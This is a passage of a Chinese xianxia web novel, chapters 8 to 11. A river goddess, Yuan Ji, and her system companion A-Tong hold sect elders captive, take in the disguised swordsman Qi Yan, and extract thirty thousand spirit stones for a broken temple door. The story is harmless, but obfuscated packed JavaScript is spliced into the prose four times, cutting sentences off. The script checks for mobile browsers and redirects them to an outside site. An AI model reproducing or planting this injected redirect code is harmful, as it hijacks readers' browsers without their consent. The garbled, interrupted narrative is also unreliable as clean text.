“河神大人,明日我就去村子里把人都喊过来帮忙修葺。”年长者率先提出,恨不得这时便飞回去把人给喊来。 乌伯山也卷起袖子,露出精壮有力的胳膊,“我之前是个木匠,到时候我也来帮忙以报答河神大人的恩情。” “那感情好,我之前也是个木匠。”年长者一听当即眸子一亮,“我们一起修葺河神庙一定是最金碧辉煌和仙殿似的,绝对要配得上河神大人的身份。” 乌伯山身为木匠,本就对木活极为喜爱,这几年东奔西跑,难得遇到个志同道合的,当即两人便开始讨论起这修葺河神庙的时事情来。 元吉看着他们一个说要把庙修成三层高,一个却说要九层才符合河神的身份,还以为两人会打起来。 没成想两人相视一眼达成共识。 “那确实是得九层才够!” 元吉无力扶额:……倒也不必。 栾萱从角落扯了朵盛开的野花藏在身后,有些扭捏地凑到元吉身侧递给她,“河神大人,这个送给你。我和哥哥也想帮忙,不知道可不可以?” 待元吉点头应允,小姑娘欢呼一声立马加入到老木匠的讨论中。 元吉侧耳听了会,只听他们暗戳戳商量要将河神庙打造得比任何宗门的宫宇都要华丽。 一会说要把河神庙用万斛珍珠点缀,一会又说要用五彩沙堆砌……她的脑海中瞬间浮现了一座五颜六色、五彩缤纷的庙宇。 元吉:……眼睛痛。 眼见自己参与不进去这种热情洋溢的讨论,元吉默默离围坐在火堆旁的几人远了些。 元吉:“阿统,刚才你提到的信仰值是怎么回事?” 阿统恋恋不舍地从那几人的讨论中抬头,“若是这人承认你河神的身份并且以你为信仰,便会有信仰值产生。而信仰值可以转换为你的神力,所以越多人的人信仰你,你便越强大。” 阿统唰得一声从面前拉开一面透明屏幕,不知道从哪里变出根木枝在上面给元吉讲解,俨然一副认真专注的模样。 倘若不是它最后两眼冒光,一脸期待地望向那残败不堪的河神庙,跃跃欲试道:“元吉,我给你从商城偷……兑换个灯塔放在上面吧!这样别人一眼就能看到河神庙,肯定能以最快的速度积攒信仰值!” “到时候我再挑个金灿灿的,绝对漂亮!” 元吉:…… 她倒还真没发现,这系统对建造殿宇还有这般兴趣。只是这审美似乎有些令人咋舌。 且这灯塔若是放在上头,不就同黑夜中的烛光那般,竟招惹些惹人厌的虫子。 元吉立即否定了它的提议,阿统再三争取也硬着心肠绝不松口。 夜色渐浓,树影婆娑,一片浓云遮住夜幕上的明月,整个世界陡然暗了几分。 本就静谧无声的忘川此刻暗流涌动,像是有什么巨物要突破封印冲出一般。 然一道剑光没入水中,暗色的川水又浓密了几分,但是那底下的庞然大物没了动静。 祁琰冷眸瞥了眼奔流不息的川水,眼底的神色晦明不清,半晌后他收回目光,望向河神庙的眼神多了些不耐烦同厌恶。 “蠢货。” 祁琰唤出自己的配剑,青光一闪他的身影便消失不见,只是那青光消失的方向却不是河神庙。 祁琰可不想浪费时间在那群蠢货身上。 远处河神庙中的元吉似有所感,遥遥望了眼,沉默片刻后道。 “阿统,子时已过,今日任务该发布了。” “哦哦,这就来!”阿统捣蒜似的点头,像是对她这般积极完成任务的赞同。 【每日任务:清理河中的垃圾(0/3)】 任务发布的电子音一落下,元吉倏地起身,眨眼间便已离开河神庙三步之远。 这有些反常的行为阿统看在眼中,它狐疑地跟了上去仔仔细细将元吉从头到尾打量片刻。 半晌后,它眼含热泪,欣慰至极。 它的眼光果然没有错,挑选出来的宿主这般勤奋,等它回到主系统那一定能得到其他统的羡慕。 它的宿主就是这般乖巧懂事! 元吉的离去悄无声息,并未引起庙中休憩的几人的注意。 倒是一旁被堆在角落垒成小山的天极宫弟子见元吉不在了,顿时眼前一亮。 “寒石长老,长老快醒醒。”一人压低的声,努力扭头唤醒上头呼呼打鼾的寒石,“那造孽不在,我们趁机快走吧,寒石长老?” “长老,快醒醒!” “什么?”寒石不悦得睁开眼,刚想臭骂一句坏他美梦的人,身侧那声音又喋喋不休响声。 他陡然回神,端着架子道:“是了!我们快走!” “可是长老……”身侧的弟子有些为难地看着拴着自己的绳子,“长老这绳子我们想尽了法子也挣脱不开啊!” 寒石气得脑瓜子嗡嗡疼,他出门怎么就没带自己有脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078518|163433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的弟子呢! 恶狠狠地剜了一眼说话那人,寒石吹胡子瞪眼,“闭嘴!这点小事值得费心?” “你来垫着,仔细着些,不然有你好果子吃!”寒石压低嗓门,示意他趴下当马扎,而自己则踩着他的身体开始爬墙。 “快,再高点。”寒石踩着弟子的后背,慢悠悠地从墙那边升起,整个人颇为得意。 真是小瞧他们,区区这点手段变想困住他们? 做梦! 刚离去不远的元吉兀得脚下一顿,自从河神庙属于她后,庙内发生的一切她都一清二楚。 “元吉,这人要跑!我们快回去抓住他!”阿统有些惊慌。 元吉轻哼一声,并不在意地摆摆手,“无妨,他们跑不掉的。” 话音刚落,那边刚爬上墙头半只脚跨了上去自得意满的寒石陡然觉得有道威压悬在上头,还没反应便被它从天而降狠狠地将他给拍了下去。 一口淤血堵在心头,却因整张脸被拍在了墙上,是吐也吐不出来。 底下的弟子看着墙头上那夹杂着涕泪和淤血的不明液体缓缓流下,心头一颤,怯生生问了句。 “长,长老,您还翻吗?” 寒石:…… 寒石从牙缝中挤出一句,“快拉我下去!这妖孽怕是有化神期修士在背后助威,大意了!” “化神期!”那这可是传闻中的大能,也不知道是现在化神期的哪位,或是未出世的哪位隐者。 几名弟子又惊又骇,可手脚还被绑着,只好慌乱地往庙内蹦跳着试图拉紧绳子将人拽下来。 可元吉的操控岂是这般容易挣脱。 若是庙内有人醒过来往外一看,便能瞧见七八个人绷直身子不断地向前跳又被绳子拽回去原地蹦跶的诡异场景。 被挂在墙上动弹不得的寒石:…… 一群蠢货!!! 感知着庙内的一切,元吉的嘴角染上了一抹微不可查的笑意。 她的心情不错,牵引着指尖的白光随意从水里捞出两件“垃圾”后,元吉突然闻到了先前消失的白玉糕的味道。 她捞垃圾的动作一停,身侧的阿统还在精心挑选最后一件垃圾,“就那个亮闪闪的,到时候可以挂门上做门环,一定很好看!” 某神器玉环:…? “元吉,元吉怎么了?”阿统不明就以看着她,“不行我们捞那个也行,那个会响,我们到时候可以把它挂屋檐上听风声。” 某灵器玉简:……? 元吉紧紧凝视着远处,眉间却不知不觉地蹙了起来。 “在那。” “有东西出来了。” 话音刚落,她的身形便陡然消失在了原地,只留下阿统一个统目瞪口呆。 “什么?元,元吉你去哪?等等我!” 9. 第九章 第九章 风从耳畔快速朝后奔去,枯枝划过脸颊,元吉只稍稍偏头躲过,并未放缓脚步。 阿统从系统中调出附近一块的地图,看着地图上快速向绿点移动的红点,它的神情也严肃了不少。 这地图是系统出品,颇为贴心地为使用者设计了分类追踪的技能。绿色代表着人,蓝色代表着妖,而红色则是代表着魔,许是魔修,或是魔兽,亦或是魔气。 而红色越深,危险性越大。 阿统看着地图上那红得发黑的标记,咽了口唾沫,这得是有多危险啊。他的宿主才来这世界一会会的时间,那么弱小无助,要是真对上了可怎么办! 阿统操碎了心,忧心忡忡。 “元吉,往左,它朝左边去了。”阿统虽担忧,却还是给元吉指着方向,“这红点移动的速度这么快,也不知道是什么可怖的魔兽。元吉你要小心!” “那个人有危险,我们得快点了。” “唔。”元吉低低应了句,快速侧身避开前头夜游的猛禽,对阿统的话不置可否。 她先前察觉到了“白玉糕”的气息,本以为是庙中栗子糕太过甜腻产生的幻觉,然当她离忘川越近,空气中残留的气息却越发清晰起来。 那味道太过熟悉,像是刻在她魂魄中一般。元吉将自己仅存的记忆翻找一遍却没找到任何有关白玉糕的存在,眼底的神色暗了暗。 那人肯定和她的记忆有关。 元吉抿着嘴,不断加快着脚下的步伐,只留下一道虚渺的残影。 快了,就在前面。 耳畔的风声越发大了起来,急促的喘息声在寂静的夜中被风传来。伴随着浓郁的水腥味和泥土的浊气,元吉的神情越发沉郁起来。 突然,元吉停下步伐,眼眸微眯,带着探究的目光紧紧落在面前的那人身上。 只见那人在月色之下,一袭白衫,上头银线绣织的云纹熠熠生辉,一头墨发被一根纯白无暇的玉簪挽起。简单的穿着却莫名带着股不近人情的疏离与从容。 元吉就这样定定看着他。 祁琰像是察觉到了什么,将手中的青剑挽出一个漂亮的剑花藏起。他抬头视线扫过来,冰凉的眸光宛若是从那寒冰上凝出的霜,无悲无喜。 分明这人看不见自己,阿统却觉得这人的目光像是把自己看了个一清二楚,不由得打了个寒颤,语气发怵,“元,元吉这里有阵法。他被困在里面了。” 说着,阿统打开地图查看却发现地图上的绿点和红点重合在一起,它眸子猛得一缩。 “元吉小心,那魔物就在这。” 随着阿统话音落下,一道黑影从旁侧的灌木中冲了出来。 “嗬!” 元吉回神,轻松往后仰身躲过迎面而来的利刃,透着光刃,她瞧见一双胆怯而又狠厉的眸子。 元吉心中明白了什么,抬手欲将人给按下,却瞧见那人神情一慌又抬手甩出个玉片,眼前闪过一道耀眼的蓝光。 “原来是她。” 下一瞬,周遭的环境发生了巨大的变化。葱郁幽森的树木皆被浓厚的白雾笼罩,遮天蔽日的雾气像是张巨网从天而降,只需撒网之人一个指示,她便成了网中之鱼任人宰割。 兰无思大口喘着气,拍着胸口一副后怕的模样,“这女娃也太警觉了,怕不是和那家伙是一伙的,都不是什么善茬。” 兰无思倚着树干,白皙的指尖勾动着垂在胸前的长发绕圈,绮丽的容颜在月色之下像是传闻中的妖精。 一条暗红色布着黑色环纹的长蛇沿着她的手腕从红纱下爬出,斯斯吐着信子,一双漆黑的眸子倒映不出任何事物。 “还是红红可爱些。”兰无思点点了后者的额头,见后者蹭了蹭,脸上的笑意却隐去了半分。 她低头看着身上华丽的红纱沾染了无数的泥泞,早就没了先前光泽,气就不打一处来。“那就是个木头,丝毫不懂什么叫怜香惜玉!” “哎呀,那女娃!”兰无思想到了什么,不由得为元吉感到惋惜,“早知道在她身上放个蝎子,遇到那家伙就狠狠地往死里蛰!” “算了,这幻境不过能维持两柱香的时间就会解。还是先去找人再说吧。”兰无思让红红探寻那两人的踪迹,似乎就在前头的一处屋子,她可得赶紧过去。 下一瞬,兰无思朝着元吉过来的方向快速前进。 幻境内,元吉眼色暗了下去。破了这幻境对她来说并没什么难度,只是她不喜欢这种被人掌控感觉。垂在身侧的指尖微微抬起,白光若隐若现。 刚才休息了一会,她的力量又恢复了些。破了这小小阵法不过抬指罢了。 只是…… 元吉看着来人,下意识将手握拳缩回袖子中,而且像是被烫到了一般佯装镇定地放了回去。 “嗡。” 一道剑鸣声划破白雾,青剑在祁琰身后微微颤动两下,看起来极为兴奋,倒像是许久不见的老友。 祁琰见状,心下升起股怪异。 知节正是这把青剑的名字,当初祁琰从剑池中挑选中它,便冥冥自有天意,择了“知节”二字为名,意在知晓操行礼度。 偏偏这青剑极为叛逆,虽听他约束,私下却如同稚子一般淘气。 也不知今日是怎么了,竟对着面前这人发出阵阵剑鸣,似是老友间亲切问候。 方才他便认出这人便是打伤了同宗门内弟子的女娃,不过一面之缘,为何这般亲近,熟稔。 祁琰轻咳一声,沉着脸将其收回,心下已经有了打算。 “抱歉。”祁琰拱手施礼,突然闷哼一声,似是忍着巨大的疼痛,额角已经布满细密的汗珠,“在下……咳咳。” 祁琰脚下一个踉跄,捂着嘴开始咳嗽起来,一瞬间,他脸上的血色竟数褪去,整个瞧起来像是受了重伤,虚弱无力。 倘若阿统这时候查看系统,便会发现那地图上的红点再一瞬间变成了绿色。 只可惜这个秘密现在无人知晓。 “在下天极宗……祁琰。不知道友如何称呼?” 元吉眸子微地一颤。“祁琰?”这名字有些耳熟,似是在哪里听过。 倒是一旁的阿统“呀”得一声尖叫出来,“元吉!快离他远一点!他是反派大魔头!” 阿统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过阿统察觉他此时确实气息紊乱好像受了重伤才稍稍放下心来。自己多盯着他,不怕他干坏事! 不愧是自己选的宿主,如此心善。阿统心思一转,欣慰地拍了拍手,全然将先前自己为宿主被这人蒙骗而痛心疾首的样子抛之脑后。 “元吉。”元吉对着祁琰微微点头,“前面是我的河神庙,去那里吧。” 言罢,元吉按下指尖的白光唤出火种,她的能力还是先不露出来,破幻境的事交给火种了。 火种飞出,白雾迅速凝成水落下,不管幻阵中路径多么弯弯绕绕,它极为简单粗暴的对着一个方向破了条路出来。 “走吧。”元吉语气淡淡。 祁琰早就知晓这自称为河神的女娃实力非凡,绕是这样仍被她如此彪悍的举动给惊到了,骨节分明的指尖掩住声声咳嗽,也盖住他微勾起的唇角。 “咳咳,多谢。” 祁琰瞧着前头元吉的身形,这人究竟还藏着什么。 10. 第十章 第十章 天色微亮,白金色的光束穿透云雾,落在“河神庙”的牌匾上。破旧的“河神庙”像是被镀了层金边,仔细看去,竟带了些神光。 兰无思按照红红指示的方向,也不知道怎么回事,放出去的蛊虫全被震碎,没了踪迹,只能靠着红红摸索半天才找到这河神庙。 这刚找到的惊喜还没彻底迸发出来,兰无思便被挂在墙上的身影给唬了一跳。 她躲在树后,定定打量半天才认出那个身形狼狈不知是否还有呼吸的人是天极宗寒石长老。霎时,兰无思默默咽了口唾沫,心如死灰。 她知道她的蛊虫是怎么没的了。 这寒石长老都被挂在墙上陈尸,她的那些小虫子能做什么,也不知道少主他们还是否活着。 思量至此,兰无思的眼眶竟盈盈落下滴泪来。 正当她伤心时,只听得庙内传出阵阵说话声。兰无思愣神片刻,又见栾郁栾萱走出来,像是再为什么事情犯愁。 她眼神一亮刚要上前便听得两人商讨道。 “哥哥,你觉得一只山鸡够吗?” “恐怕不够,我们这人多,光一只山鸡都不够塞牙缝。。” “也不知道这地方能抓到些什么。”栾萱抬手,指尖的玉衡发出“嗡嗡”的响声,像是在召唤,“河神大人也不知道去哪了,不然可以问问她想吃什么。” 栾郁点头,指尖的玉衡也一同发出响声。 不多时,只听得周遭不断传来禽兽踩踏树枝的细微声响。 若是墙头的寒石还醒着,必然要目瞪口呆,这两人竟然能召唤动物!他们是以御兽术出名的栾家人! 兰无思一时沉默,她不过与少主分开几日,少主居然沦落到要伺候别人!心下的怒火顿时旺盛起来,待她看见那人,她必要…… 一息,两息,三息。 一道冰凉的触感蹭上他的脖颈,轻轻划过,像是在逗弄。 栾郁眉间一跳,猛地睁眼将那只做乱的手抓住。手背上的青筋微微拱起,毫不留情。 “嘶。”兰无思惊呼一声,“疼。” “兰无思。”栾郁略带惊讶,松开手语气淡淡,“你怎么找到这的。” “兰姐姐!”栾萱倒很高兴。 “小姐。”兰无思行了个礼,随后轻哼一声噘着嘴依在栾郁身上,像个没骨头的小蛇,“少主,你可让奴家好找啊。” 栾郁:“……好好说话。” 兰无思娇嗔一声,将事情的来龙去脉说了一遍。正说着她的可怜遇到了祁琰这个不近人情之人,一扭头却见元吉同祁琰缓步走来。 当即脸色一变,从怀中放出红红准备迎敌。“少主小心,这两个人……” 话音未落,栾郁拍了拍她的肩头示意她将红红收回,“无妨。” 栾萱一下便抓起只肥硕的山鸡,邀功似的递到元吉面前,“河神大人您看,我捡到只肥鸡!早上让燕叔给我们烤了吃怎么样!” 栾郁也抬步朝元吉走去,“河神大人,您去哪了?这位是?” 他的目光越过元吉落在身后的祁琰身上,带着些防备。 “捡垃圾。天极宗祁琰。”元吉言简意赅,略过几人错愕的神情,对着“咕咕”乱叫的山鸡点点头,“挺肥。” 栾萱顿时比族长夸她御兽能力变强了还高兴,逮着鸡翅膀就往庙里跑,“那我去找燕叔了。” 待栾萱一走,元吉似笑非笑的目光便落在兰无思身上。她猜的果然没错,这人和栾郁他们有关系,那幻阵恐怕也是幻境玉衡中的一部分。 “又见了。” 兰无思心中的怒火“啪”地被冷水浇灭,整个人蔫了吧唧躲在栾郁身后。 冤家路窄,这两人她可打不过。 少主你自求多福吧! 栾郁还在想自己该先消化“河神大人捡垃圾居然把祁琰捡了回来,她是在骂祁琰是垃圾吗”这个问题,还是该赞叹,“河神大人居然与传闻中天极宫大弟子祁琰如此熟稔,真不愧是河神大人,能力超群。” 栾郁一时反应不过来,只狐疑地看了眼兰无思,“河神大人,这是我的朋友兰无思,您竟然认识她?” “一面之缘。”元吉颔首,见后者像只炸了毛心虚躲起来的小兽,便收回了目光。“那些人还安分吗?” 元吉一边抬步朝庙内走去,一边又望向上头挂着的硕大一坨不堪入目之物,只觉得辣眼睛的很。 心下一烦,撤去禁制,墙上压着的力顿时便卸了去。一排被绳子牵着睡着的弟子陡然失力,一个拉着一个朝前倒去。 “噗通”声伴随着哀嚎声此起彼伏,挂在墙头的寒石被一股力拉着往下,茫然睁眼,就见天旋地转,再睁眼自己已经仰面躺在地上了。 寒石恍恍惚惚抹了把脸,蒋干涸的血渍擦去,下意识松了口气。“终于下来了。” 祁琰瞧见这几人跌成一团的模样,蹙蹙眉掩去眼底的不屑,佯装出一副关切惊讶的模样。“寒石长老?这是怎么了?” 听到熟悉的话音,寒石身子一僵,缓缓扭身抬头错愕不已,话语中不免带着责备。 “祁琰?你怎么和这妖孽一起?” 寒石见他同元吉一起,脚步虚浮,语气虚弱,又瞧见身侧的元吉神采奕奕,周身的气韵比先前更甚。下意识脑海中便出现了些不入流的邪门功法。 这难道是! 这妖孽采补了他们天极宫的大弟子?!! “你糊涂啊!”寒石痛心疾首,心痛得恨不能晕厥过去。好歹毒的妖孽,竟对他们的最有潜力的未来掌门下手! “怪我没早些收了这妖孽,是长老对不起你啊。” 思量至此,寒石极度挣扎起身想替祁琰报仇,奈何他本就没什么实力,全靠一叠又一叠的符箓。偏偏这妖孽不知使了什么邪门功法,竟让他的符箓全然失效了。 寒石悲凄万分,瘫坐在地,倚着弟子,两行老泪落下,脸上的颜色更混乱了。 元吉木着脸,不是很明白这人为何这般激动。视线落在哪几名满脸写着“我有话想说却不能说”的弟子上,心下泛起了嘀咕。 不就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078520|163433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是挂在墙头一晚上,至于受这么大刺激。 一时间,元吉对于这个世界的认知又丰富了许多。 默默跟在栾郁身后混进河神庙的兰无思明白了寒石所想,于是便凑到栾郁身后小声询问。 “是我想的那样吗?怪不得你说的河神大人会赶来救祁琰出幻境,两人情谊颇深啊。看来传闻不可信。”她啧啧称叹,什么不懂怜香惜玉,看来都一样。 兰无思幽怨地拉着栾郁的衣袖,只是这家伙总是不开窍。 “莫要胡说。”栾郁的神情并不美妙,将这份怀疑深藏于内心。他一把将兰无思的头给按了回去,“继续躲着吧。” 兰无思:……哼! 眼瞅着寒石老泪纵横的模样并不美妙,元吉头疼地按了按眉心,坦然道:“是我做的,有问题?” 不就是带着这人来河神庙,多大点事。“阿统,你快瞧瞧这人是不是脑子被拍出问题来了。” 阿统欲言又止,那种污秽的东西它可不能说出来,污染了它的乖乖宿主。 阿统沉默看着元吉,顿了顿,“可能是的。一般年纪大些的人总是脆弱些。” 元吉:……原来如此。 得到了元吉的承认,寒石气得整个人不住地颤抖,指着元吉话都说不利索,只能不断重复着“妖孽”二字。 元吉眸子一眯,压低嗓音威胁,“再指我就继续挂上去。” 寒石:…… 默默将话咽了回去,眼神幽怨带着控诉。 可恶! 看着他们鸡同鸭讲,同时也一头雾水的祁琰眼角抽动一番,轻咳一声止住这场闹剧。他有个预感,两人再讲下去便是一发不可收拾了。 见几人目光汇聚过来,祁琰指节压着唇掩盖住声声咳嗽,叹了口气,“寒石长老,弟子方才受了重伤,是这位元修士帮了弟子。” 微阖的眼眸闪过一丝光亮,长睫轻颤,祁琰编造了一个自己被魔兽袭击,体力不支,元吉挺身而出将自己带到河神庙的故事。 语气平缓,像是潺潺溪流般滑过人心房,让人心情舒缓。在场之人皆下意识地相信了这话,就连被祁琰追赶地极为狼狈的兰无思也怔怔出神。 她小声嘀咕,“难不成是我跑得凑巧,没遇到那么可怖的魔兽?什么魔兽能把天之骄子的祁琰伤成这样?那我这运气也太好了些。” “为了感谢元修士的出手相助,祁琰愿意答应元修士一个要求。”祁琰定定望着元吉,目光诚挚,俨然一副谦谦君子的模样。“只是这段时间恐怕要叨扰元修士了,待祁琰痊愈,定厚礼相谢。” 元吉神情不变,语气淡淡,“不必。” 她目光缓缓扫过面前一个个低头掩盖自己存在感却竖起耳朵听得仔细的天极宫弟子。 “找你,只是因为你是天极宫的弟子。” 元吉目光上下扫视他一圈,整个人被一股疏离感笼罩,“他们,砸坏了我的庙。” “不用替我做什么。” “赔偿就好。” 祁琰淡然地神情一僵:……? 11. 第十一章 第十一章 “砸坏了…庙?”祁琰错愕一瞬,不由得望向这破败不堪的河神庙,一时疑惑。 砸的是哪? 祁琰按下心中的疑惑,却还是望着元吉认真点头应允,未曾表现出这要求是在无理取闹的情绪。 “这是自然。” 闻言,坐在石凳上,轻点着桌面的指尖一顿,元吉颔首对他的态度十分满意。 众弟子感动不已,自从大师兄出现那颗不安的心顿时找到了主心骨,有了依靠,不似先前那边慌张。 因此,几人虽狼狈倒也多了些闲情逸致,皆是目光灼灼地凝视着祁琰。 他们的大师兄好像离众人近了些。 与众弟子莫名激动不同,寒石眼瞅着元吉迫害了祁琰,还要污蔑他们来胁迫祁琰,顿时气得吹胡子瞪眼。 祁琰这模样落在他眼中,俨然一副被卖了还替对方乖乖数钱的老实人模样。与他从前冷漠不近人情的样子判若两人,更加坐实了他被元吉“蛊惑”的事实。 他的表情一阵扭曲,加之他面上的污迹,整张脸顿时便有些辣目,让人不忍直视。 “妖孽不要得寸进尺!”寒石破口大骂,“你这破庙还值得我们动手砸?满口胡言!” 元吉瞥了他一眼,随后示意他看向倒在地上变成两块破木板丝毫没有起到作用的大门,语气幽幽,“门是你们弄坏的。” 寒石一噎,回想起来。先前这妖孽不出来,好像是他们将门踹开的。但是那破门本就摇摇欲坠,他们只是轻轻一碰! 轻轻一碰! 等等,门是坏的?! 那他昨夜为何还需爬墙,甚至被挂在墙头一晚上! 悲愤不已的寒石一口气憋在喉间,张着嘴试图憋出句话。“你、你、你……” 阿统飘在元吉身侧,啪啪鼓掌,语气兴奋,“元吉原来你把祁琰带回来是这个原因啊!” 它的宿主慧眼识破诡计,真是太厉害了! “还有门口的那块砖,被门砸出来了一道裂痕。”阿统指着一条头发丝般的裂缝,试图让元吉把这也算上。 元吉一怔,投向阿统的视线带着些审视。这真是她那个教它要“神爱世人”的阿统? 莫不是也受什么刺激了? 察觉到了元吉的情绪,阿统一僵,虚拟的身体微微泛红。它轻咳一声,义正严辞,“元吉,神爱世人但是不能当冤大头。” 它听乌伯山说,要把河神庙修得金光灿灿得花好多钱呢! 正义凛然的模样说的元吉都快信了,不过这会她心情不错,便不同他们计较了。 浑然不知逃过一劫的几人还想着挣扎一番。 “长老莫要激动,一切交给我吧。”祁琰适时出声,“元修士放心,祁琰定会负责的。” 元吉不再理会寒石的怒瞪,望着祁琰轻挑眉,“那便再好不过。” “去把燕枯和乌伯山喊过来。”元吉示意栾郁去后院把乌伯山带过来。 栾郁点头应下,身后跟着个亦步亦趋的兰无思。两人脚步极快,不一会乌伯山同燕枯便跟着栾郁到了前院。 两人听了栾郁说了发生的事,此刻正摩拳擦掌准备为河神庙的构建献出自己的一份力。 “河神大人。”两人对着元吉行了个礼,目光灼灼地环视一周寻找目标。 燕枯一对上院中身量颀长的祁琰,欢欣雀跃的神情顿时一僵,整个人也不自在地偏头不敢与其对视。“糟,糟了。” 身侧的乌伯山一眼便瞧见了气质出尘的祁琰,心下不知怎的有些发毛,可转念一想这可是河神庙有河神大人在,心下便不慌了。 他扯了扯燕枯的袖子示意他开口。若是让他去同这几人说,他可不行。 燕枯此刻恨不得钻入地下立即消失,可被乌伯山提醒不得不硬着头皮开口。 好在祁琰并不打算在这拆穿了他的身份。 “这,这位…仙师,这普通的门板自然是随处可得。可这是河神庙,这扇门便不再是普通的门。” “它是河神庙的代表,若是普普通通怎么能配的上这座庙,您说是吧?” “河神大人自然大度不会介意用这普通的门。可日后村民前来供奉不免会瞧见这门,若是给他们留下天极宗吝啬的印象这可不产生误会了……” 燕枯嘴皮子一张一合,渐渐也不拘束了。絮絮叨叨许久,也不知怎联系的,竟把一扇门同整个修真界的气运给牵扯到了一起。 听得天极宗弟子眼角一抽,这人语气和善,怎么听起来有些黑? 他们怎么不知道,修真界的气运竟和这门联系在一起了! “哼!巧言令色!”寒石冷哼一声。 燕枯垂下眼眸,脸上挂着笑,“只需三万上品灵石,便可将误会消弭,同时稳固整个修真界。” 三万上品灵石! 乌伯山猛地望向燕枯,看着后者对自己眨了眨眼,不免在心中咋舌一声。 真黑! 乌伯山扭头,“对,不多,只要三万上品灵石。” 天极宗弟子痛哭流涕:对不起大师兄,是我们连累了您! 祁琰轻笑一声,声音清冽也不恼,“听起来我还占了不少便宜。” 乌伯山下意识摇头,突然反应过来猛点头,“自然自然。” 燕枯说完才意识到自己在向谁要钱,整张脸瞬间失去了血色。他扯出抹僵硬的笑来,“不敢,不敢。” “河神大人,后院我的鸡才处理到一半,我先去处理下。”燕枯寻了个由头,待元吉同意便脚底抹油似的跑走,边跑边擦着额头的虚汗,一副劫后余生的模样。 待两人走后,元吉看着面前的祁琰思索一瞬从怀中拿出了一枚月牙白的镯子,上头似用浮光雕琢着祥云纹样,在日光下熠熠生辉。 “这是一枚储物镯。”对上元吉不解的视线,祁琰放缓了语调。月牙白的镯子在他手上,衬得祁琰的手像是笼着一层银光。 他往前递去,“用神识在上面加上封印旁人便不能拿去。我把三万上品灵石同一些小玩意都放在里头当作赔礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078521|163433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “还望元修士能收下。” 元吉也不推脱,刚伸手接过,温温热热的触感便让她的心情好上了三分,嘴角也略微勾起一道微不可查的弧度来。 神识快速一扫,元吉同这储物镯快速构建起联系。很快,成堆亮闪闪的上品灵石便出现在她的脑海中。 每一枚都是那样莹润散发着柔和的光,像是千万颗萤火汇聚而成。元吉瞳孔猛得一缩,陌生的情愫快速在心底蔓延,她有些兴奋。 她抿了抿嘴角,眼底的神色一暗抽回神识。 再抬头时,那抹情绪已经被她藏好,无人能发觉她那一时的失神。 “数量无错。”元吉拢过垂在身侧的墨发,“如此,你们去留随意,请自便。” 她这漫不经心的语气,好似收到的不过两三颗上品灵石。寒石替祁琰肉疼的滴血,“你这……” 颤抖的手刚抬起来指向元吉却兀得想到什么,讪讪放下,愤怒挥袖。 “你给我等着!我们走!”寒石放下一句狠话,带着众弟子雄赳赳气昂昂,突然想到祁琰,“祁琰,你同我们一起走!莫要在被这个妖孽迷惑。” 祁琰慢条斯理地整理有些褶皱的衣袖,“寒石长老先走,弟子还有些事要耽误一会。” 一时间,寒石看着祁琰仿佛看到了一位冥顽不灵被妖女迷惑的失足弟子。他满眼失望,“你自己掌握好分寸吧。我们走!” 呼啦啦乌泱泱的一群人离开河神庙,小而破的河神庙顿时宽敞了不少。后院偷看的几个村民探头探脑地伸出半个脑袋,见几人都走了才出来。 栾萱一手抓着根鲜艳漂亮的尾羽一手拉着兰无思蹦哒过来,“河神大人,兰姐姐可以和我们在河神庙住一段时间吗?” “有好几个可怕的人在追杀我们。”栾萱放低了嗓音,楚楚可怜,“我们就躲一躲,等那群人不找我们了我们再离开行不行。” 兰无思跟着点头,努力装出弱小可怜又无助的模样,试图让元吉忘记之前发生的事情。 “河,河神大人。”一声呼唤拐了三四个弯,她娇怯地望了一眼元吉,立马又把视线收了回来,“您心地善良,想来肯定是能同意的。” 元吉只觉一顶高帽从天而降,势要稳稳落在她头上。她仰头直直看向兰无思,半晌没说话。 兰无思被她瞧得心底发寒,眉眼低垂不敢再多说一句。难不成这所谓的河神是想同自己计较之前的事? 兰无思眼珠子咕噜一转,计上心头。再抬头望向元吉,那双含情的桃花眼中闪过一丝泪光,“河神大人,先前的事是事出有因~其实……” 话音未落,元吉便抬手抵在嘴边“嘘”了一声,她挑眉在空中一捻,一只“吱吱乱叫”的小虫子便被指尖的火种包裹着。 焦灼的气息在空气中弥散开来,元吉脸上的笑意不达眼底。 